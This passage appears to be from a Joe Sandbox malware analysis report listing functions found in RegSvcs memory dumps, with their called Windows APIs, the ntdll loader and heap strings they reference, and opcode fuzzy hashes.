RtlFreeHeap.NTDLL(2$A,?,?,?,00000000,2$A,?,00412432,?,?), ref: 00428922

Strings

2$A, xrefs: 00428917, 00428921

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID: 2$A
API String ID: 3298025750-681408588
Opcode ID: 973832adfc58f53b01a8be7ba7dbe50df262dfa26736ccdf8cacf5f7a2515294
Instruction ID: ed1a1d2cffaaa18b12bffbdfafbf630d5e2ce3b3783f1b25fc8857758a2bbd74
Opcode Fuzzy Hash: 973832adfc58f53b01a8be7ba7dbe50df262dfa26736ccdf8cacf5f7a2515294
Instruction Fuzzy Hash: 48E06D762003057BDA10EE99DC42EEB33ACDFC9710F004429F908A7242CA70B9108BB9

Uniqueness

Uniqueness Score: -1.00%

Function 00428893 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00419B70,?,?,00419B70,?,?,?,00419B70,?,00002000), ref: 004288D2

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e1c311fbd65a32222058b270af25a25db7b17eb137dc85a2ea9762b5d7bcab8f
Instruction ID: 74d18c6441f02a6b5fc4ea50800c46b86d540a26c86334ed89f428c0025ac491
Opcode Fuzzy Hash: e1c311fbd65a32222058b270af25a25db7b17eb137dc85a2ea9762b5d7bcab8f
Instruction Fuzzy Hash: 6BE0ED762043547FDA14EE99EC45E9B77ACDFC9710F40441AF908A7241D674BA108BB9

Uniqueness

Uniqueness Score: -1.00%

Function 00428933 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,00000000,?,?,B4CE4B00,?,?,B4CE4B00), ref: 00428967

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 9d9498ac091c91fc8c2829dc40f22e2eb18ed8be60a8b6a5e13f430db898aff8
Instruction ID: 6fbb90af8041c875e02e8ae7d7cadf9cbae14f77a8819c93d427ffa683cdbbc3
Opcode Fuzzy Hash: 9d9498ac091c91fc8c2829dc40f22e2eb18ed8be60a8b6a5e13f430db898aff8
Instruction Fuzzy Hash: 0EE04F362002147BD510EA5ADC02FDB775CDFC9B10F40441AFA08A7242C675B91086F8

Uniqueness

Uniqueness Score: -1.00%

Function 014A2C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 014A2C24

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 26719528c64f74ac66b23b91eabb190e336e432802ab8b9d9f89ace581b62e12
Instruction ID: 22af48bf46fb03ab5a668b10df79b43696c230413563148f3e9e22886e6d5745
Opcode Fuzzy Hash: 26719528c64f74ac66b23b91eabb190e336e432802ab8b9d9f89ace581b62e12
Instruction Fuzzy Hash: B4B09B719025C5C5DA11E7644A08B17790477E0701F56C063D3031653F4778C1D1F675

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 014E2349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON

Download Yara Rule

Strings

ShutdownFlags, xrefs: 014E24A1
@, xrefs: 014E2B74
UseImpersonatedDeviceMap, xrefs: 014E251C
GlobalFlag, xrefs: 014E2F3F, 014E3059
MinimumStackCommitInBytes, xrefs: 014E2BB0
ExecuteOptions, xrefs: 014E25A0
GlobalFlag2, xrefs: 014E2FC0
minkernel\ntdll\ldrinit.c, xrefs: 014E3187
UnloadEventTraceDepth, xrefs: 014E24C0
Initializing the application verifier package failed with status 0x%08lx, xrefs: 014E3176
FrontEndHeapDebugOptions, xrefs: 014E2489
TracingFlags, xrefs: 014E2549
DisableHeapLookaside, xrefs: 014E246D
DisableExceptionChainValidation, xrefs: 014E275F
CFGOptions, xrefs: 014E2967
MaxDeadActivationContexts, xrefs: 014E2D82
RaiseExceptionOnPossibleDeadlock, xrefs: 014E2579
LdrpInitializeExecutionOptions, xrefs: 014E317D
MaxLoaderThreads, xrefs: 014E24EC
@, xrefs: 014E2942

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
API String ID: 0-2160512332
Opcode ID: 8efb48efce4517b008cc7599976e4dbb8e30dc932edcc46f6836b70a019928f0
Instruction ID: 89520a9613e3aae18be89339040586f9481edf069c5c6a92bf5409d6175170bf
Opcode Fuzzy Hash: 8efb48efce4517b008cc7599976e4dbb8e30dc932edcc46f6836b70a019928f0
Instruction Fuzzy Hash: 5C928E71604342AFE721CF29C848F6BBBE8BB94751F04491EFA94D7261D7B0E845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 01498620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON

Download Yara Rule

Strings

Critical section address, xrefs: 014D5425, 014D54BC, 014D5534
Thread identifier, xrefs: 014D553A
Critical section debug info address, xrefs: 014D541F, 014D552E
First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 014D54E2
undeleted critical section in freed memory, xrefs: 014D542B
double initialized or corrupted critical section, xrefs: 014D5508
Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 014D54CE
Address of the debug info found in the active list., xrefs: 014D54AE, 014D54FA
8, xrefs: 014D52E3
Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 014D540A, 014D5496, 014D5519
Critical section address., xrefs: 014D5502
Thread is in a state in which it cannot own a critical section, xrefs: 014D5543
Invalid debug info address of this critical section, xrefs: 014D54B6
corrupted critical section, xrefs: 014D54C2

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
API String ID: 0-2368682639
Opcode ID: 115004b3040912dafb7b1c61d67e1a4c5c555217e532062016a86c7679397381
Instruction ID: bd02bfff3db6cdae4ed01297a7301b92892655a507b5c1389871c4e775607ce4
Opcode Fuzzy Hash: 115004b3040912dafb7b1c61d67e1a4c5c555217e532062016a86c7679397381
Instruction Fuzzy Hash: 2081AD70A40359EFEF20CF9AC854BAEBBB5BB08714F20411BF509BB261D771A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 014929F9 Relevance: 14.2, Strings: 11, Instructions: 411COMMON

Download Yara Rule

Strings

SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 014D2506
SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 014D2602
SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 014D24C0
SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 014D2409
RtlpResolveAssemblyStorageMapEntry, xrefs: 014D261F
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 014D25EB
SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 014D2624
@, xrefs: 014D259B
SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 014D2412
SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 014D2498
SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 014D22E4

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
API String ID: 0-4009184096
Opcode ID: 72c71ebb9a54348f2aa933839fe30f89d64a518e7faebacaa96858583944f886
Instruction ID: 12784437a4f9f6522e4506de17257365160f12ab263cc6a1169a2f4e849499f4
Opcode Fuzzy Hash: 72c71ebb9a54348f2aa933839fe30f89d64a518e7faebacaa96858583944f886
Instruction Fuzzy Hash: 3F0260B1D00229ABDF21DF54CC90FDAB7B8AB54314F4041EBE609A7261DBB09E85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 01508B42 Relevance: 12.6, Strings: 10, Instructions: 146COMMON

Download Yara Rule

Strings

DefaultBrowser_NOPUBLISHERID, xrefs: 01508D00
svchost.exe, xrefs: 01508B68
services.exe, xrefs: 01508B96
lsass.exe, xrefs: 01508BA1
csrss.exe, xrefs: 01508B80
SegmentHeap, xrefs: 01508BE9
smss.exe, xrefs: 01508B8B
heapType, xrefs: 01508BCB
http://schemas.microsoft.com/SMI/2020/WindowsSettings, xrefs: 01508BD0
runtimeuserer.exe, xrefs: 01508B73

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimeuserer.exe$services.exe$smss.exe$svchost.exe
API String ID: 0-2515994595
Opcode ID: c936072f5d3f84fc342779e0fa2ba4caacd6e63af0d806d882d6bd04d799d405
Instruction ID: 0d6e547467aa51dead8811ca23acb09d819a4ef4226561d45e13a250954044eb
Opcode Fuzzy Hash: c936072f5d3f84fc342779e0fa2ba4caacd6e63af0d806d882d6bd04d799d405
Instruction Fuzzy Hash: D551C4B19043059BD72ACF59C844FABBBE8FFD8354F184A1EE9958B190E770D604C792

Uniqueness

Uniqueness Score: -1.00%

Function 01510274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON

Download Yara Rule

Strings

Invalid allocation size - %Ix (exceeded %Ix), xrefs: 015106EA
HEAP: , xrefs: 015103A6, 015104B5, 015105DD, 01510682, 015106D9
HEAP[%wZ]: , xrefs: 01510399, 015104A8, 015105D0, 01510675, 015106CC
Just reallocated block at %p to %Ix bytes, xrefs: 015105F1
About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 015104D3
Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 0151069F
RtlReAllocateHeap, xrefs: 015102BF, 01510362
About to reallocate block at %p to %Ix bytes, xrefs: 015103BA

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 0-1700792311
Opcode ID: 2dc1ab5d0f50b54b4289e7dc1b1a1d2829a37c842a6f210940cfeb06b8f0143b
Instruction ID: c993927b17c5b02068899127923d6a8de6965b621a37f742a1b0f436f09c725f
Opcode Fuzzy Hash: 2dc1ab5d0f50b54b4289e7dc1b1a1d2829a37c842a6f210940cfeb06b8f0143b
Instruction Fuzzy Hash: 44D1FC31600686DFEB22DF69C450AADBBF2FF5A700F19845AF8459F2A6D73499C1CB10

Uniqueness

Uniqueness Score: -1.00%

Function 014E89B3 Relevance: 9.0, Strings: 7, Instructions: 259COMMON

Download Yara Rule

Strings

VerifierFlags, xrefs: 014E8C50
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 014E8A67
HandleTraces, xrefs: 014E8C8F
VerifierDlls, xrefs: 014E8CBD
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 014E8A3D
VerifierDebug, xrefs: 014E8CA5
AVRF: -*- final list of providers -*- , xrefs: 014E8B8F

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
API String ID: 0-3223716464
Opcode ID: 1920ab8cc5a746163dff4354ce73f7a2527c53b9c46f6b9e676d6175aec90850
Instruction ID: 284651b9061e4ba4300465ee5ce0c88d1c2e4b8cf113bcbe9012228a74830b2d
Opcode Fuzzy Hash: 1920ab8cc5a746163dff4354ce73f7a2527c53b9c46f6b9e676d6175aec90850
Instruction Fuzzy Hash: 0E912271640703EFDF21DF29D898B1B7BE5AB64A15F46081FFA406F2B1D770A8098B91

Uniqueness

Uniqueness Score: -1.00%

Function 0146EA80 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON

Download Yara Rule

Strings

{, xrefs: 014C4643
, xrefs: 0146F299
LdrpResSearchResourceInsideDirectory Exit, xrefs: 0146EB6C
LdrpResSearchResourceInsideDirectory Enter, xrefs: 0146EB58
R, xrefs: 0146EB62
T, xrefs: 0146EB4E

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
API String ID: 0-1109411897
Opcode ID: 797e29047459c649c997df32b8e6243605a4ac6f56dba2f7020c259b85e78069
Instruction ID: 44758a2cdd4442f381e8cf3fb5d4726dc0826e6588b434c2e761861f6a95319d
Opcode Fuzzy Hash: 797e29047459c649c997df32b8e6243605a4ac6f56dba2f7020c259b85e78069
Instruction Fuzzy Hash: B4A27E78A056298FDB64CF18CDA87AABBB5AF45704F1441EED90DA7360DB309E85CF01

Uniqueness

Uniqueness Score: -1.00%

Function 014963FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 014D41FE
_LdrpInitialize, xrefs: 014D40DF, 014D4141, 014D4205, 014D425F
Delaying execution failed with status 0x%08lx, xrefs: 014D4258
minkernel\ntdll\ldrinit.c, xrefs: 014D40E9, 014D414B, 014D420F, 014D4269
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 014D40D8
Process initialization failed with status 0x%08lx, xrefs: 014D413A

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: 072ba2d22a9344e8bfdba9c3bdc45fdfdfcd6faa9534e76afe6fce3c65ccb06a
Instruction ID: a4fdc36db824533fa81480b9a1583208d15621715db1e25068b2e57d71c26deb
Opcode Fuzzy Hash: 072ba2d22a9344e8bfdba9c3bdc45fdfdfcd6faa9534e76afe6fce3c65ccb06a
Instruction Fuzzy Hash: A9914930A003169BEF25DF59D868BAE7FA1BB50B64F16012FE5106F7B1D7B05801C795

Uniqueness

Uniqueness Score: -1.00%

Function 0145645D Relevance: 7.6, Strings: 6, Instructions: 150COMMON

Download Yara Rule

Strings

LdrpInitShimEngine, xrefs: 014B99F4, 014B9A07, 014B9A30
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 014B9A2A
apphelp.dll, xrefs: 01456496
minkernel\ntdll\ldrinit.c, xrefs: 014B9A11, 014B9A3A
Getting the shim engine exports failed with status 0x%08lx, xrefs: 014B9A01
Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 014B99ED

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-204845295
Opcode ID: 0d8aa814ca586a1ab5260eee5e7b938559c850d0bba329344bc583b0a1940291
Instruction ID: 0100399d72672e176ea74599be6a793cb05c4e856c19982b41112dad1ac478be
Opcode Fuzzy Hash: 0d8aa814ca586a1ab5260eee5e7b938559c850d0bba329344bc583b0a1940291
Instruction Fuzzy Hash: 8651F3712183059FE720DF25D891A9B7BE4FB98748F41051FFA559B271D630E904CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 01492674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

SXS: %s() passed the empty activation context, xrefs: 014D2165
RtlGetAssemblyStorageRoot, xrefs: 014D2160, 014D219A, 014D21BA
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 014D21BF
SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 014D2180
SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 014D2178
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 014D219F

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 0-861424205
Opcode ID: 39e2f5a99e7fb99031ffb25347d51300679dbba940576c0af15ad4ba9840904d
Instruction ID: f98f8eb2c1fc5165d07e5d29ab7b8a8c53ccaccb60ba47f1d56dd947efe8f90b
Opcode Fuzzy Hash: 39e2f5a99e7fb99031ffb25347d51300679dbba940576c0af15ad4ba9840904d
Instruction Fuzzy Hash: A9313736B4021577FF218AAA9C41F5F7E68DBA5A41F05405FFA04BB230D3B09E02C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 0149C6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

Unable to build import redirection Table, Status = 0x%x, xrefs: 014D81E5
LdrpInitializeImportRedirection, xrefs: 014D8177, 014D81EB
minkernel\ntdll\ldrinit.c, xrefs: 0149C6C3
LdrpInitializeProcess, xrefs: 0149C6C4
Loading import redirection DLL: '%wZ', xrefs: 014D8170
minkernel\ntdll\ldrredirect.c, xrefs: 014D8181, 014D81F5

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
API String ID: 0-475462383
Opcode ID: 6ee8b4992e9ec9682ade2d37ce5591bf79bc29168bb267fe700dba836cb15b54
Instruction ID: 53a17b333c1e43d5705a8d2c1dc9691a87db1ed9634a6adb02261e8f5ee2e538
Opcode Fuzzy Hash: 6ee8b4992e9ec9682ade2d37ce5591bf79bc29168bb267fe700dba836cb15b54
Instruction Fuzzy Hash: 203115716443069BD710EF2ADC45E2ABBD1AFA4B10F05051EF9446B2B1D630EC04C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 014A096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON

Download Yara Rule

APIs

Part of subcall function 014A2DF0: LdrInitializeThunk.NTDLL ref: 014A2DFA

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 014A0BA3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 014A0BB6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 014A0D60
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 014A0D74

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
String ID:
API String ID: 1404860816-0
Opcode ID: 80ad829c096735aec9e7cf6295e1b40c7fe80f26da176ffa200cb575d8e2a6a0
Instruction ID: 8c0bed5839527321b85b2bb3bd97cf99645feee92e220540518cd00bdd6c2208
Opcode Fuzzy Hash: 80ad829c096735aec9e7cf6295e1b40c7fe80f26da176ffa200cb575d8e2a6a0
Instruction Fuzzy Hash: FC426B71900705DFDB21CF28C890BAAB7F4BF14314F4585AAE989EB351E770AA85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 014729A0 Relevance: 6.0, Strings: 4, Instructions: 966COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 01473264
HEAP[%wZ]: , xrefs: 01473255
, xrefs: 014731A3
Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 0147327D

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: $HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
API String ID: 0-3126994380
Opcode ID: 65c4ad25caaf1c2ec6a3162080524a31738d1a3a882cdb11804c6b23a6099332
Instruction ID: d458bf333d4fb28495021f075df66acf45c5a3e4902166d02ee6dbffa5804320
Opcode Fuzzy Hash: 65c4ad25caaf1c2ec6a3162080524a31738d1a3a882cdb11804c6b23a6099332
Instruction Fuzzy Hash: 3692CC71A042499FDB25CF68C440BEEBBF1FF48300F18845AE899AB362D774A946DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0146A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

LdrResFallbackLangList Enter, xrefs: 0146A3EF
8, xrefs: 0146A3E7
6, xrefs: 0146A3F7
LdrResFallbackLangList Exit, xrefs: 0146A3FF

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: 808d2b106ddb9752a557256733bf06bc6a46e5bae7944e2b7152409f333a8abc
Instruction ID: 6cfdd3bf53c57f47f47e414cb5bb55b989087353581e8604280a835d431251e0
Opcode Fuzzy Hash: 808d2b106ddb9752a557256733bf06bc6a46e5bae7944e2b7152409f333a8abc
Instruction Fuzzy Hash: D6C18774108B828BD711CF58C544B6AB7E8BF94708F10486FF996AB361E374C94ACB53

Uniqueness

Uniqueness Score: -1.00%

Function 01498402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 01498421
LdrpInitializeProcess, xrefs: 01498422
@, xrefs: 01498591
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 0149855E

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: c90a563027a6130713e103c15e5a0ec6d4babb124166f4ca0ed35894166af3a8
Instruction ID: faf968c33d6002175afbdceaa9a695d561b5d75ef86df5b8b241f1c642130e86
Opcode Fuzzy Hash: c90a563027a6130713e103c15e5a0ec6d4babb124166f4ca0ed35894166af3a8
Instruction Fuzzy Hash: 8591C071508346AFDB21DF69CC50FABBAE8BFA4754F40082FF68496121E730D908CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0149273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON

Download Yara Rule

Strings

SXS: %s() passed the empty activation context, xrefs: 014D21DE
.Local, xrefs: 014928D8
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 014D21D9, 014D22B1
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 014D22B6

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: 8d94ff2c33f2d8a691d6bcaf917bb12f6e49f284da4186fe78554bbcdb3d6680
Instruction ID: 04fe8a39e9cf950a1d5422c10e859586b6d5d6288763dd6fde0f851aad6b3c93
Opcode Fuzzy Hash: 8d94ff2c33f2d8a691d6bcaf917bb12f6e49f284da4186fe78554bbcdb3d6680
Instruction Fuzzy Hash: B4A19231A40229AFDF24CF59D884B9AB7B1BF58354F1541EBE908AB361D7709E81CF90

Uniqueness

